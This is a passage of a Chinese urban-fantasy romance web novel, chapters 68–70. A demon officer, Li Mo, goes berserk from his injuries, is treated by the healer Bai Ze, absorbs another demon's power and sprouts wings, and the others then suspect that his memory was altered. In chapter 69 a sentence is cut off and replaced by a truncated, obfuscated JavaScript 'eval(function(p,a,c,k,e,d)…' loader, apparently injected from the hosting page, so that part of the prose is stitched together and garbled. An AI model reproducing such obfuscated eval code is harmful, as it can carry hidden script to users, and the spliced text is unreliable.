正当周纬准备开口询问白泽打算怎么给李默医治时,白泽却突然打断了他:“病人家属出去。” 周纬:“我……” “你他妈什么时候见过家属进手术室的?”白泽不耐烦道:“别废话给我滚出去乖乖在外面等!” 还不等周纬再说什么,他就一脚踹在周纬小腿上,把他踹出了房间。 随即吱呀一声木门关上,小院陷入了一片寂静。 周纬站在原地,怔怔地望着那扇紧闭的房门,半晌,终于转身,在院中那棵大槐树下的花坛边坐了下来。 一阵清凉夜风吹过,周纬突然浑身发冷,这才意识到自己浑身已经湿透了。 他茫然举目,望向浩渺无垠的夜空。 这一夜的焦急、慌乱、恐惧、无措……种种情绪复杂激荡,一浪又一浪地冲刷过他的喉头,最终在胸口搅和成了一片巨大的混沌,沉甸甸地堵在他的心口,上不来,下不去。 他整个人都像是要被撕裂了,一半浸在茫然和虚幻里,飘在云端一般不知自己身处何地,另一半又恨不得大吼大叫,疯癫狂闹,恨不得有一口大炮能轰开自己的胸膛,将那淤积痈塞的石块全部炸开,让那些无处落脚的情绪全都宣泄奔涌出来,当空炸成一朵癫狂的烟花。 而那些混沌的、嘈杂的、迷乱的、疯癫的意识和情绪,被夜风一吹,突然都变成了袅袅细烟似的随风飘散,一个念头水落石出般浮现出来,周纬突然激灵灵打了个寒战,蓦然转头又盯住了那间小屋。 他想,李默会死吗? 这个念头甫一出现,立马就像黑洞般攫住了他的呼吸,让他的胸口不断地塌陷下去,整个人当即化成了一捧摇摇欲坠的细砂。 不会的,不会的。 李默不会有事的。他把李默送过来只花了不到十五分钟,白泽会救他。 可是……可是…… 万一…… 人是不能想“万一”这个词的,这个词,是世界上最短的一句诅咒。 然而,还没等周纬浑浑噩噩地从“万一”这个魔咒中逃出来,就听厢房里突然传来白泽“卧槽”的一声惊呼,紧接着骤然传来“轰隆”一声巨响! 周纬豁然起身。 68.吞噬 “砰!!!” 厢房侧门被猛地撞开,紧接着就见一个人影倒飞出来,伴随着凄厉的惨叫。 “啊啊啊啊啊啊啊救命啊————” 周纬一抬手,周山之印光芒一闪,玉黄色屏障接住凌空飞出的白泽,一把按住他:“怎么了?!” 白泽跌坐在地满脸惊恐,双手死死护着自己的脖子:“要命,他醒了!” 然后紧接着改口:“不是,他没醒!他疼得失去理智了!卧槽他刚刚差点掐死我!” 周纬猛然起身,朝厢房奔去:“李默!!!” 身后白泽顿时魂飞魄散:“卧槽你别过去啊!你制不住他的送什么死啊!” 周纬充耳不闻地闯进房中,然而还没等他看到什么,耳边先响起一声低吼! 吼声响起的一瞬间周纬就意识到不好,然而此时再做什么都来不及了,声浪入耳的一瞬间,周纬的大脑仿佛被一柄巨锤从天而降狠狠砸中,顿时五官六感同时造反,眼冒金星耳鸣不止,整个意识几乎瞬间被这一声砸散! 刹那间他反应过来——这是李默当时在新莲码头上秒杀火鼠和翼手蝠的那一招! 当时的李默释放了妖力,当场镇杀了几乎所有的火鼠和翼手蝠,可见此招威力之强。庆幸的是此时灵枷此刻仍好端端地戴在李默脖子上,不然周纬的脑袋恐怕跟那些爆成血雾的妖兽恐怕也没什么区别。 可饶是如此,周纬的大脑也仿佛被人当钟狠狠撞了一下,耳畔嗡鸣不止,眼前一片漆黑。他晃了晃脑袋,咬着牙伸手去:“李默,是我……” 身侧什么东西猛然掠过,伴随着一声痛苦的嘶吼,周纬立刻反应,青璇之印光芒大放,十几道风索疾速飞出! 灵力绞成的风索猛然绷紧,周纬心中一喜,拉住了! 然而下一秒,风索就在巨力撕扯中骤然溃散,连周纬自己都被朝对方拉了过去,紧接着身边一声巨响——“砰”! 墙塌了! “啊啊啊啊啊啊!”屋外传来白泽的惨叫:“我的房子!” 周纬狠狠锤了两下自己的脑袋,五感终于渐渐恢复,只见屋里已经是一片狼藉,身边墙壁更是直接破了个大洞——李默居然硬生生从墙里撞了出去! 他暗骂一声,赶紧追了出去。 小院里月光辉映,他终于看清了李默此时的样子。 李默正跪伏在地,剧烈地喘息着。他赤裸着上半身,肩背隆起,全身肌肉都在痛苦中死死绷紧,十指因为无法抵御的剧痛而深深陷入了地里。 他身形剧烈起伏,汗如雨下,同时滴落的还有刺眼的鲜血——他的胸腹间有数道深深的血痕,全都是他自己在剧痛中抓挠出来的。 内脏被灼伤的痛楚就像神经直接被点燃,这痛苦根本不是任何人能忍受的,李默双瞳中已经神智全无,眼瞳中血丝缠绕,猛然仰天发出一阵痛苦的咆哮,五指成爪狠狠地朝自己胸口捅了过去! ——他要把身体里的那团火直接挖出来! “李默,不要!” 周纬猛地扑了过去,扑倒李默的同时一个翻滚,从背后锁住了他。他强行拉着李默跪坐起来,双腿压在李默的腿上,双手把他的双臂架在身后,用自己的全身的重量压制住他,阻止他在剧痛中伤害自己,竭力在他耳边吼道:“李默,是我!你冷静一点!” 然而这个时候靠近李默才是最不冷静的行为,别说周纬的双手伤势还没好全,就算是满状态,他的那点体重和力量在李默面前也根本不够看。身体被强制拉伸,李默体内的剧痛骤然又再上一个等级,他一声嘶嚎,双目混沌疯狂,身体在痛苦中猛然发力一挣,全身肌肉力量爆发似的炸开! 人类的体力根本锁不住这种怪力,周纬的双手顿时松脱,整个人宛如被重卡迎面撞飞,李默的手肘直接朝他胸腔撞了过来! 周纬的瞳孔骤然收缩。 然而想象中筋断骨折、血溅三尺的情况并没有发生。千钧一发之际,李默的手臂一顿,被一个白色身影死死拉住了! 白泽整个人直接顶在了李默身上,一只脚蹬在李默膝弯,双臂紧紧抱住李默的一只手,整个人小鸡崽儿似的挂在李默身上,显然是连吃奶的劲儿都用上了,俊秀的脸上表情扭曲,咬牙切齿道:“我警告你,你这是医闹——” 周纬再次猛扑上前,紧紧锁住李默的咽喉和臂膀,大吼道:“重明呢?!” “不知道!”白泽也大吼:“老子给他打过三遍电话了!” 话音落地的下一秒,他就像夜空中的流星一样划过天际——李默手臂一挥,直接将他甩上了半空,随即这人在天上划过一道优美的弧线,“砰”的一声在院子里摔出了一个人形的大坑。 与此同时,李默身后的周纬根本来不及闪避,就感觉到一只铁钳似的手掌狠狠抓住了他的肩膀,紧接着猛地向前一甩——周纬被李默直接摔到了身前! 周纬狠狠撞上地面,只觉得自己胸骨肋骨刹那间齐齐殉职,还没等他缓过来,突然一阵风声掠过,眼前突然降下一片浓重的阴影。 紧接着,周纬就觉得自己的手腕被人抓住了。 李默整个人压伏在他身上,双手钳住周纬手腕锁在头顶。 他整个人都在痛苦中剧烈起伏,呼吸粗重,眼里半分理智都不存,喷在周纬面颊上的气息宛如烈焰灼燃。强烈的痛楚激发了他的凶性,他布满血丝的眼睛猩红地盯着周纬,张嘴露出锋利的犬齿,狠狠朝他的脖子咬了下来! 周纬猛地偏头闭眼。 ——然而想象中的剧痛并没有到来。 周纬感到尖锐灼热的齿间落在自己颈侧,轻微的刺痛一放即收,然而更剧烈的痛楚却迟迟没有落下。 他心脏剧烈跳动着,耳畔震如擂鼓,良久,方敢缓缓睁开眼睛。 李默仍旧压在他的身上。 近在咫尺,他看到李默表情仍旧是癫狂而混乱的,那张熟悉的、温和的脸上此刻充满了属于野兽的暴戾和狰狞,那是属于妖类的对于灵力者天然的贪婪和渴望,平时被理智压抑的本能此刻毫无保留地暴涌而出,全身上下每一寸血肉都在叫嚣着,用眼前人的鲜血淹灭体内焦灼的烈火。 周纬从那双眼睛里看到了无可抵御的烧灼的渴望——李默想吃了他。 然而他伏在自己身上,身体剧烈地颤抖着,粗重的喘息中带出了浓烈的血腥气,压住自己四肢的力量像是要把手脚碾碎,可那尖锐獠牙将将擦过脖颈,却再也无法深入一分。 一颗血珠从周纬颈侧的伤口滚了出来。 那熟悉的血腥味像是从天而降的一道惊雷,骤然劈开支离破碎的意识,李默的身体猛地一僵。 他能够感受到身下这具血食在轻轻颤抖。血液在年轻的、鲜活的肉/体里奔涌而过,在薄薄的皮肤上撞出巨大的回响。 隔着一层肋骨,他能听到爪子底下那颗心脏正在急促地、剧烈地跳动着,那样强健有力。血流从心腔泵入四肢百骸,又从每一根血管末端呼啸回返,每一次搏动都在汹涌地撞击着他的神经。他几乎无法自抑地颤抖起来,因本能的巨大渴望而浑身颤栗,骨子里的凶性暴涌如岩浆。 吃了他。咬断他的喉管,挖出他的心脏,喝干他的鲜血,将他彻底拆吃入腹。 如此,才能将眼前的这个人类彻底占据和拥有。 可是……不行…… 他……受伤了……流血了…… 周纬仰躺在地,他感受到李默伏在他身上的身体颤抖得越来越剧烈,呼吸越来越粗重,眼中一时狂乱一时痛苦,终于忍耐不住猛地低下头来。 随即,他感到颈侧粗粝摩擦的感觉一闪而过,温热湿润,一触即分—— 周纬的眼睛猝然睁大了。 ——李默舔走了那颗血珠。 下一秒,李默整个人从周纬身上滚落,狠狠蜷缩在地,身体疯狂痉挛着,终于抑制不住地仰头,猛然喷出了一大口鲜血! 紫红色的鲜血落地即燃,李默蜷曲身体,终于在痛苦中爆发出了惨烈的嘶嚎:“啊——” “李默!!!” 周纬连滚带爬地冲过来,把李默的头抱进怀里,竭力压制住他的双手阻止他自残:“松手——没事了李默,是我,快松手……” 他红着眼睛转向白泽,大吼道:“快想办法!” * “我来。” 重明的身影悄然出现在周纬身后,现场居然没有一个人察觉到他是什么时候来的。 他鬼魅一样地出现在李默身边,单膝跪地,二话不说一掌擒住李默的肩膀,然后施力一错! 一声轻响从掌下传来——他直接把李默肩膀的关节卸了下来! 李默骤然闷哼一声,唇间再度涌出一股鲜血。周纬暴怒吼道:“你干什么!” “不能让他乱动。”重明的声音却异常冷静:“剧痛之下身体紧绷到极限,他会把自己的肌肉撕裂的。” 说着他掌下动作不停,转眼之间就如法炮制地将李默的手脚关节全部卸了下来。这简直是令人瞠目结舌的一幕,有翼族在身体力量上本应完全无法与李默这种走兽类媲美,然而重明却完全没有使用蛮力相抗,用的全然是技法和巧劲,不到一分钟就已经让李默完全动弹不得,看起来甚至轻轻松松游刃有余。 李默身上痛楚不减,然而关节被卸无法施力,紧绷的身体终于卸了劲,整个人被迫“放松”下来。 周纬也猝然一松,身体骤然泄力,身子一歪,险些软倒。 “玛德你怎么才来?!”白泽乱七八糟地冲过来,一头白色长发纠缠成了抹布,白大褂上前后都是土:“我家都快被拆完了!” “抱歉,”重明歉然道:“这个月KPI没完成,被老板留下来加班了。” 神他妈加班!什么鬼班还需要一个A级妖类亲自加,这他妈没玩没了的内卷还能不能好了! 周纬和白泽内心都是吐槽满天飞,然而现在委实不是比拼槽技的时候。白泽飞起一脚把重明踹开,对着周纬道:“你把他给我按好了。” 他一撩衣摆跪在李默身侧,飞速从挂在身侧的药囊里拿出一个玉蓝色小包,打开一看,里面整整齐齐排列着十几根粗细长短各不相同的细针。 白泽捻出了其中一根。那针跟周纬见过的其他中医使用的针灸用针都不相同,非金非铁,倒像是某种玉石打磨而成的,在月光下泛着细腻莹润的光泽。 李默脸上的痛苦之色还没有褪去。他面色惨白,双目紧闭,身体轻微抽搐,口中还在断断续续地吐血,但是已经没有力气再挣扎了。白泽按着他的肩膀,目光专注,谨慎缓慢地把那根玉针刺入了李默的胸口。 玉针在刺入的一瞬间就变了颜色,从针尖处开始,妖异的紫红色缓慢向上攀升,转眼就将一整枚玉针染成了同色。 李默眉尖轻轻一 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周纬还没跟白泽相熟到能读懂他的表情,然而重明几乎立刻就看懂了,震惊地望向李默:“等等,这是?!” “他妈的,这种时候你们装个屁的谜语人啊!”周纬暴躁到几乎想一人给他们一脚:“李默到底怎么了?!” 白泽脸上表情变幻不定,数息之后,他忽然抬头望向周纬。 “我有个猜测,”他道:“你敢不敢现在给他解开灵枷?” “解——什么?”周纬瞪大了眼睛。 不是说不能解开灵枷吗?! “此一时彼一时。”白泽道:“我的玉针能够对妖力进行压制、疏通和引导,夭冥的妖力已经被我封住了,现在解开灵枷,李默不会有危险。” 周纬皱眉:“那又为什么要解开灵枷?” “所以不是说我有个猜测吗?!”白泽不耐烦道:“我说你到底敢不敢解?你要是怕担责任,我就自己给你们总部打电话!” 周纬:“……” 他深吸一口气:“你确定李默不会有危险?” “他要是能在老子眼皮子底下出事,我把重明赔给你。”白泽满脸阴沉。 一旁的重明:“……” “谢谢,我没兴趣。”周纬一把挥开他,轻轻扶起李默的身体,手指抚上他的后颈。 一次擅自解封灵枷就引来了总部的一个调查组,两次会引来什么周纬心里也丝毫没谱,然而现在委实也不是考虑这些的时候了。他手上灵力注入,灵枷上符文亮起,紧接着咔哒一声轻响,暗红色枷锁松脱,被周纬从李默脖子上摘了下来。 白泽一把抓住他的手腕:“退后。” 重明挡在白泽身前,三个人缓步后退——周纬也不得不听从白泽的话,因为就在灵枷解开的一瞬间,李默的身体就起了变化。 熟悉而强横的妖力威压从天而降,失去意识的李默无法控制自己的力量,妖力从周身散溢出来,混乱而无序。与此同时,他的身体四周逐渐涌出了浓浓的黑色雾气,宛如水墨晕染般缭绕周身,逐渐将他整个身体包裹起来。 周纬瞳孔骤然一缩——黑雾穿梭的间隙,他敏锐地看到,李默胸前又一枚玉针被染成了黑色。 重明沉声道:“他的妖力会不断攀升,我们继续后退。” 妖力狂流涌动,小院狂风四起,吹得三人都睁不开眼睛。周纬抬手释放出了周山之印,玉黄色屏障一层护住三人,一层直接笼罩住了整个小院,三个人不约而同地退到小院一角,紧紧盯着眼前半空中的人。 李默的身体已经悬浮了起来,周身风起云涌,妖力化成的黑色雾气在他周身穿梭涌动,激荡不止,黑色中仿佛还夹杂着几缕诡异的紫红。那几缕不合群的紫红色妖力仿佛被困在了黑雾中,竭力试图抵抗,不断左冲右突,却被困在黑雾囚笼中无法逃脱。 不时就有一缕紫红色妖力被黑雾追上吞没消失,每当此时,李默胸前的玉针就有一枚被转化成黑色。 周纬缓慢地瞪大了眼睛:“这难道是……” 白泽轻声道:“快结束了。” 话音刚落,最后一枚玉针也被染成漆黑。 刹那间,所有黑雾齐齐涌动沸腾! 黑雾瞬间笼罩了李默全身,如同一个大茧将他包裹其中,漩涡般回旋着涌入他的体内。妖力威压节节攀升,甚至三个待在结界内的人都开始感到窒息,结界之外狂风乱涌,就在达到某个极限的那一刻,黑色大茧突然犹如心脏搏动一般,猛然向内一缩—— 唰! 狂风四起,黑雾骤散,李默悬浮半空,身后骤然张开了两片巨大的黑色羽翼! 所有人都呼吸一滞。 夜幕下,这一幕充满了森然荒诞的美感。李默赤裸着上半身,双目微阖,黑发在空中浮动。在他身后,那双新生的羽翼深邃幽暗,仿佛吸收了所有光芒,每一片羽毛都清晰得有如实质,边缘时不时划过一道暗紫红色的光晕。 月光洁晖洒落,那双黑色的翅膀和李默的肤色形成了鲜明对比。他低垂着头,宛如赤子般圣洁,又宛如恶魔般诡谲。 小院内寂静无声。 半晌,周纬才缓缓转向白泽:“这是……” “没错,”白泽面色复杂地望着半空:“他吞噬了夭冥的妖力。” 69.失忆 意识在黑暗中载沉载浮,思维混乱无序。 无数嘈杂的声音在耳畔远远近近地回响,却听不真切,像失落在遥远时空里的一台收音机,隔着茫茫时光传来纷乱的讯息。 李默下意识地回头,顺着那回音传来的方向望去。 他看到了一片广袤幽深、无边无际的山林。 幽暗深邃的密林里,古木参天矗立,阳光从浓密的枝叶间隙漏下斑驳的光影;山崖峭壁嶙峋错落,百米瀑布从山顶直坠如深潭,碎珠溅玉地在崖壁间挂起虹色的虚影。 林间不时响起呦呦鹿鸣,泥土间的甲虫探出触须和细足,鸟群扑腾着双翼从头顶枝桠间掠过。 他想起来了,他曾经生活在这里。 他曾在幽潭旁饮水,在山岩间休憩。 他的趾爪踏过潮湿的泥土,皮毛扫过沾染着夜露的草地,鼻端缭绕着草木藤蔓清新湿润的气息。 他曾走过幽寂的森林和高远的山崖,夜风吹动着他的长尾和毛发,在他的脚下,万物生发。 这里是他的家。 他为什么……会离开家呢? * 李默恢复意识的第一感觉是全身剧痛,感觉像是被几十辆大运来回撞了好几天。 好在这人惯常能忍痛,眯了眯眼就把那股绵延不绝痛楚压了下来,一声没吭,他缓缓地呼吸几次,转眼打量着四周。 这一打量就发现了重点。 在他床边,俯趴着一个人影。 床榻太矮,周纬就干脆盘腿席地而坐,弓着身子趴在他的床侧,正沉沉地睡着。这张小木床是张单人床,李默自己躺上去尚显窄小,更没给周纬留多少地方。他只有肩胸的一小块挨着床板,枕着自己蜷曲起来的左臂,半个身子悬空着,睡得憋屈又局促。 ……右手还搭在李默放在身侧的右手上,不肯松开。 他在这里,守了自己多久? 李默心里顿时泛起一阵柔软和心疼,忍不住侧了侧身,抬起左手,轻轻抚了抚周纬柔软的黑发。 他原不想惊醒周纬,翻身抬手都很轻微,没想到他这边刚有点动作,周纬的眼睫就颤了两下,缓缓睁开了眼睛。 “……李默?” 周纬的眼中迷茫了一瞬,下一秒就猛地挺直了身子。 “你醒了?” 他一跃而起,双手下意识地想去试探查看李默的状态,然而伸出去却又不敢落下,胡乱地在半空来回挥舞了几次:“你感觉怎么样?还有没有什么不舒服的地方?” 李默上身赤/裸,身上缠满了层层叠叠的绷带,看着委实是个重伤员的样子,然而状态确实已经好多了,面色不似昨晚那样藏比,嘴唇行也已经有了几分血色,目光清明温柔,不复之前的混乱癫狂。 他的声音还有几分沙哑,语调却是温和沉稳的,带着一如既往的笑意:“我好多了,谢谢周队。” 周纬长出了一口气。 他转身欲走:“你等等,我去找白泽过来——” 然而李默一抬手拉住了他:“等等。” 周纬脚步一顿,转身回来看着他。只见李默抬手抚上自己的喉咙:“周队给我解开了灵枷么?” 他一醒来,就感觉到了自己身上的妖力已经恢复,颈上的灵枷却不见了,哪里还会不明白发生了什么。 周纬会意,在他床畔坐了下来。 “你不用担心,我给季凌云打过电话了。”他宽慰道:“事急从权,有白泽作证,这次临时解开灵枷不会有问题。” 李默点了点头。 他动了动,有些费力地想将身体撑起来,周纬赶忙帮他坐起身来,枕头垫在身后,让他靠在床头。 李默道:“对不起,周队,又让你担心了。” 他看得到,面前的周纬面容有些苍白,眼珠深黑,眼下有一圈明显的乌青,看脸色甚至比他还像个伤患。昨夜发生的事他虽没有清楚的记忆,却也隐约记得自己似乎失智发狂,大大地作乱了一场,想必又连累了周纬给他收拾残局。 明明……明明是想着好好照顾他的。 另一边,周纬被李默一句话说得如鲠在喉。 刹那间,昨夜的那些担忧恐惧,焦躁茫然,排山倒海般齐齐翻涌上来,全都化作了失而复得的忧怖。周纬脸颊一绷,牙关咬得死紧,一时间恨不得不顾一切地扑上去将眼前人狠狠抱进怀里,死也不松开。 只是好在一线理智尚存,周纬的指尖深深嵌进了掌心,到底忍住了。 然而下一秒,他听见李默道:“我弄伤你了,是么?” 一只温热的手拂开他的鬓发,探入他的颈侧。 周纬的身体猝然一僵。 李默支起了身子,朝着周纬的方向探过身,一只手插入他柔软的黑发,扣住他的后颈,用拇指轻触着他的颈侧。 那里有一个细小的伤口,几乎已经要愈合了,却仍旧散发着周纬鲜血的味道和他的气息。 这是他咬出来的。 李默低声道:“对不起。” 周纬突然狠狠地闭上了眼。 他没有回答,也没有躲开,全身紧绷如铁。 李默的手指粗糙轻柔,指尖触过的地方带来出点一样的细小的酥麻。那双手终于恢复了温热,再不像昨夜车里,那种仿佛冻结灵魂般的冰冷。周纬所有的感知像是刹那间全部背叛了主人的意志,全数集中在了他手指摩挲地那一小块区域,刹那间一种更加汹涌、更加强烈的渴望骤然从心底涌起,周纬几乎调动了自己所有的意志才没有抓住那只手按在自己颈侧,再也不让他从自己掌心失落。 李默:“我……” 然而他刚只说了一个字,就听一声——“砰”! 床上的两人猝然一僵。 只听一声巨响,白泽一脚踢开自家房门,神清气爽虎虎生风地走进来,后面跟着端着早餐盘子的重明:“我算着那小子该醒——” 他的话音戛然而止。 房间里唯一一张小床上铺被凌乱,李默上身赤裸,浑身肌肉线条流畅精悍,探身伸手捧着周纬面颊,眼里的深情浓郁得仿佛要滴出水来。 而周纬坐在一旁,不闪不避,双目微阖浑身紧绷,赫然是一副做好了准备予取予求的模样。 整个场景仿佛赤裸裸地写着“我们被打断在了即将要发生什么的前一秒——” 死一般的寂静。 片刻后—— “啊啊啊啊啊啊啊啊啊啊啊!!!” 刹那间重明飞也似的放下餐盘,一手捂住白泽的眼一手勾住他的腰,大力就要把他往门外拖;而白泽一只手死死扒住门框,另一只手拼命拉着重明的手往下扒拉,浑身抽风一样地哆嗦,满脸惊恐仿佛即将原地吐血三升:“光天化日朗朗乾坤你们要在我的诊室里做什么啊啊啊啊啊啊啊啊——” 周纬:“……” 李默:“……” “对不起打扰了!”重明闪电般反应,一把捂住白泽的嘴,同时闪电般把人往腋下一夹,立马就要从房间里消失,刚迈出门听到周纬道:“回来!把人放下!” 重明俊美的脸上表情凝固,一寸寸僵硬转身:“不必了吧,小白年纪小不懂事……” 周纬:“……” 他额角青筋暴跳:“想什么呢?!让那个白毛怪滚过来给李默看诊!” * 一阵鸡飞狗跳过后。 “我就说他没事了。”白泽搬了个椅子坐在李默床边,另一边,重明已经周到地在旁边摆好了早餐,小笼包、豆浆、油条和清粥咸菜的香气在室内弥漫开来。 周纬紧张地站在一旁,看着白泽给李默上上下下地检查完了一遍,转头就开始喋喋不休:“说了他是A级、A级,A级什么概念你不知道?还缠着我给他用药,用个屁,什么药有他自己的妖力管用?你看他现在身上还有半点伤吗?屁都不懂就知道瞎操心,白瞎我这么多绷带。” 李默身上的绷带已经被解下来了。他原本昨晚在混乱疯狂中,在自己身上抓出了许多触目惊心的伤痕,全身鲜血淋漓,看着十分吓人,然而此刻皮肤已经光洁如新,肌肉紧实,赫然连点疤都没留下。 连那堆解下来的绷带上也只沾了些许血迹,看起来应该是解封了妖力不久就已经愈合了,可见A级妖类的自愈能力委实惊人。 只是周纬仍不放心:“那他吞噬的夭冥的妖力呢?不会有什么问题么?” “都说了是吞噬了还能有什么问题?”白泽翻了个白眼:“吞噬入体当然就是已经同化了,对他来说是有益无害,中大奖了才对。” 理智上来说,周纬知道白泽既然这么说了,那八成就是没有问题的。然而也许是昨夜的经历太过惊心动魄,周纬始终没有办法放心,正想再开口询问,只是话还没出口,就听到李默突然开口了:“等等,你们说我吞噬了……什么?” “那只蛊雕的妖力啊。”白泽对他也没什么好脸色,阴森森道:“早知道你有这个能力,就直接让周纬给你解开灵枷算了,还往我这儿送个屁。丑话说在前头,我家院子已经差不多被你拆完了,这些可都是要算到诊费里面的,你们异监局就等着我寄账单吧。” 然而没想到,李默听到这句话的反应,却出乎所有人的预料。 他茫然地看了看白泽,又看了看周纬:“我吞噬了夭冥的妖力?我为什么会吞噬他的妖力?” 所有人:“?” 白泽一皱眉:“你脑子坏了?夭冥的妖力侵入了你的身体,你吞噬它不是正常?” 李默一脸困惑:“可是我从未吞噬过别的什么妖类的妖力啊?” 此言一出,所有人都是一愣。 白泽率先反应过来,道:“你把妖力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当初李默初到珑湖市局的时候,周纬曾经看过他的档案,档案上并没有记录李默拥有这种“吞噬”的能力。但这也很正常,并非所有的妖类都像蛊雕夭冥一样,是拥有某种特殊能力或属性的。 之前在新莲码头上,周纬曾经亲眼见过李默动用妖力的样子,他周身那涌动的黑雾就是妖力的具象显化,这种妖力的运用方式在异监局内的分类中被称为“能量操控”,属于较为普遍和常见的一种。 所以昨夜,当周纬看到李默居然吞噬了夭冥的妖力,还因为他是故意在资料上隐瞒了自己的这种能力。毕竟这种吞噬能力不仅是肉眼可见的强大,还具有显而易见的攻击和侵略性,以异监局对妖类的警惕和排斥程度,如果这种能力暴露了,李默的威胁性一定会被再提升一个档次,到时候他戴上灵枷进的是总部的办公室还是监狱,那就不好说了。 隐藏自己最大的底牌,这是人之常情,周纬倒没有因此而责怪李默的意思。 只是现在听他这么说,他自己也不知道自己拥有这个能力? 那这莫名其妙突然出现的能力是怎么回事? 就在此时,白泽突然开了口:“你是不是吃过其他妖类的妖核?” 李默倏然一愣。 周纬脸色一沉:“你什么意思?” “就这个意思啊?”白泽却面色如常,摊了摊手道:“只有一种情况,妖类会获得一种全新、不同于自己原本能力的新力量,就是吃掉其他妖类的妖核,继承已经死亡的妖类的能力。你这个‘吞噬’能力如果不是你的与生俱来的天赋,那就只有这种可能了,是你吃了其他妖类获得的。” 他看了看周纬的神情,诧异道:“你黑什么脸?妖类同类相食很正常啊?也就是现在妖类少了,当初两族大战之前妖类横行天下的时候,大家谁不是相互吃来吃去的?吞吃妖核能继承能力的情况概率很小呢,你小子算走运了。” 然而李默一皱眉:“我没吃过其他妖类的妖核。” 白泽看着他:“说了这事儿不丢人,你不用藏着掖着的。” 周纬的声音一冷:“他说没有就是没有。” “嘿,”白泽这人最受不得别人跟他抬杠,顿时一瞪眼,捋胳膊挽袖子的就摆出了一副要吵架的姿势:“我说你们俩——唔……” 他这话没下文了,因为重明把一个热气腾腾的小笼包直接怼进了他嘴里。 只见重明一手卡着他后脑勺,一手捂着他的嘴不让他把包子吐出来,不顾一个堂堂S级妖类被噎得直翻白眼,他开口道:“我倒是有个想法,不知道还周队和李长官想不想听一听。” 周纬和李默都看向他。 之前在周纬的印象里,重明一直不显山不露水的,平时只是跟在白泽身边,除了管教管教白泽之外,像是其他什么都吸引不了他的注意力。这还是周纬第一次听他主动发表意见。 “小白说的是事实,妖类想要获得自己天赋能力之外的其他力量,就只有吞噬其他妖类妖核这一种办法,而且即便是这种方式,成功的概率也极低。”重明不慌不忙道:“当然,李长官应该也不是有意隐瞒——那就只有一种可能了,就是李长官确实曾经在自己不知情的情况下,吃掉过其他妖类的妖核。” 他转向李默:“请问李长官,你失忆过么?” 70.回溯 失忆? 这个方向倒是从来没想过。 周纬闻言也看向李默,李默下意识地想否定,然而话到了嘴边,他却突然迟疑了。 他想到了自己醒来前刚做的那个梦。 周纬一见他的神情,立马就猜到了什么,赶忙道:“不一定是明确的记忆缺失,要是你有哪一段记忆比较模糊,或者有什么地方觉得很违和也行。” 李默点了点头,这才开口道:“我自降世以来,所有的记忆都很连贯清晰。但是我刚想了一下,确实有一处记忆,我记得不太清楚了。” 他道:“我好像不太记得……我是这么化形的了。” 他抬头看向重明:“但据我所知,这种情况好像并不罕见吧?” “确实。”重明温和道:“化形为人对于绝大多数妖类来说,都不是什么令人愉快的经历,化形前后的记忆有所模糊是常有的事。你还有其他地方记忆有缺吗?” 李默摇了摇头:“其他的应该就没有了。” 重明脸上露出犯难的表情,望向了白泽。 白泽终于在跟那个小笼包的搏斗中取得了胜利,此刻正在狂灌豆浆,猛锤胸口给自己顺气,见此情况狠狠瞪了重明一眼,讥讽道:“你们是不是傻?化形失忆虽然是常有的事,但你们怎么知道他失忆就是因为化形,不是因为别的?” 他转向李默:“我问你,你身边有精神系的妖类或者灵力者吗?” 李默和周纬都是一愣。 还真有! ——严瑾! 白泽一看这两人的表情就明白了,道:“那就对了。你是A级妖类,识海和精神力应该都不弱,如果你的记忆被人动过手脚,那只有专精精神力的妖类或者灵力者才做得到,而且水平应该还不低。要是你身边有这样的人,那八成就是他没跑了。” 周纬和李默对视一眼,都从彼此眼中看到了震惊骇然。 严瑾曾经给李默的记忆动过手脚?!这可能吗? ……还真有可能。 精神系灵力者哪怕在灵力者群体中,也属于特立独行的那一类,说好听点是受人尊敬,说难听点就是“敬而远之”和“惹不起躲得起”。 原因无他,就这一手神鬼莫测的精神控制,就足够令人心生惧意了。 精神力不同于其他的灵力元素,运用起来不会有各种花里胡哨的光影特效,甚至也不会产生明显的灵力波动,除非神识灵敏,否则实在很难察觉,有的时候对方中招了都不知情,简直防不胜防到了极致。如果说其他的灵力者走的都是“光明正大”路线,那玩精神力的,各个都是灵力者里的“刺客”,走的都是阴险诡谲的“暗器”路子,委实是不敢招惹。 但换句话来说,身为曾经的最强精神系灵力者,严瑾必然是有这个能力,暗中修改李默的记忆,同时还不让他察觉的。 但他为什么要这么做呢? 他令李默遗忘的内容又是什么呢? 周纬坐不住了,豁然起身,看向白泽道:“有办法验证吗?” 白泽一挑眉:“验证什么?” “废话!”周纬现在满心火气,哪有心思跟白泽打嘴仗,暴躁道:“我是问你有没有办法验证李默的记忆是不是真的被篡改过!” 白泽一边的眉毛挑得更高了:“你光验证就行?我还以为你想直接把他的失忆给治好呢?” “治……啊?” 周纬和李默同时瞪大了眼睛:“你、你能治?你连失忆都能治?” “怎么?失忆不是病吗?” 白泽抱起双臂,倨傲道:“既然是病,我这个当医生的凭什么不能治?” * 李默的衣服已经被他自己抓成了乞丐装,只好临时向重明借了一件,可惜重明虽然也算是身材高挑颀长,衣服借给李默穿到底还是小了一点儿,最后只好翻箱倒柜地找出了一件宽松版的羊绒卫衣,好歹算是给李默套上了。 就是那卫衣是大红色的,上面还印着“恭喜发财!”四个大字,也不知道是哪个春节的特供版,看着还怪喜庆的。 白泽和重明出去准备治疗所需要的器具了,李默就穿着这件异常喜庆的卫衣,跟周纬留在屋内,促膝坐在床边商议。 “周队……”李默难得面上露出一丝迟疑。 然而周纬还没等他说完就打断了他:“我知道。” “严瑾当了你三年的第一责任人,他如果要对你做什么,你估计死都不知道怎么死的,没必要只是在你一段记忆上动手脚。”周纬拍了拍他的手臂,宽慰道:“就算他是真的修改了你的记忆,应该也不是出于恶意,估计是有其他原因,没关系,一切都等你想起来了再说。” 李默点了点头,看到周纬脸上并无怒色,这才暗暗送了口气。 平心而论,得知严瑾可能暗中修改过他的记忆,李默自己也是十分惊讶的。然而严瑾毕竟对他有恩,没有真凭实据,他仍旧不愿去恶意地揣测严瑾。 就是担心周纬可能会生气。 ……虽然他也没反应过来,严瑾修改的是他的记忆,为什么周纬要生气。 周纬不动声色地看了看他的表情,看到李默脸上明显露出了几分释然之色,想了想,道:“在你现在的记忆里,你跟严瑾是怎么认识的?” 